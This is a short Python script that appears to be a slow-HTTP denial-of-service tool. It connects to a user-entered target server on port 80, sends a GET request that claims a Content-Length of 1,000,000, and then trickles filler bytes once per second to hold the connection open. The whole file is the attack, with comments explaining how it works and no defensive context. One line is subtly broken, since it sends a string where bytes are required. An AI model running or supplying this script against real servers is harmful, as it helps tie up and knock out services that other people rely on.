import socket
import time

# IP address and port of the target server
target_host = input("target_server_IP : ")
target_port = 80

# Create a socket object
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the target server
client.connect((target_host, target_port))

# Construct an HTTP request
# Note: Set the Content-Length field to a large value
# and send data at a slow rate
request = "GET / HTTP/1.1\r\nHost:{}\r\nContent-Length: 1000000\r\n\r\n".format(target_host).encode()

# Send the request
client.send(request)

# Start sending data at a slow rate
for i in range(0, 1000):
    time.sleep(1)
    client.send(" " * 1000)

# Read the response
response = client.recv(4096)

print(response.decode())

# Close the connection
client.close()